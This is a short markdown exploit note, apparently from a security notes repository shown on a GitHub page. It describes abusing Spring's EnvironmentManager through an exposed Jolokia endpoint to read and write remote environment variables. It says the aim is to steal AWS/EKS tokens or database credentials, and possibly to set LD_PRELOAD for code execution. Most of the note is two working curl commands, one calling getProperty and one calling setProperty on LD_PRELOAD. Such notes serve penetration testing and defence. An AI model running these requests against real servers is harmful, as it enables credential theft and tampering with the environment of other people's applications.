Skip to content

Latest commit

 

History

History
12 lines (9 loc) · 587 Bytes

env-read-write-environmentmanager.md

File metadata and controls

12 lines (9 loc) · 587 Bytes
Raw

Short description

  • One can read and write the remote env by abusing the SpingFramework EnvironmentManager!
  • Read AWS/EKS tokens, or db credentials, etc
  • Maybe (no poc yet) try to overwrite LD_PRELOAD and force a a new sub-process creation

Exploit

curl -kg 'http://127.0.0.1/jolokia/exec/org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager/getProperty/USER'
curl -kg 'http://127.0.0.1/jolokia/exec/org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager/setProperty/LD_PRELOAD/!/tmp!/'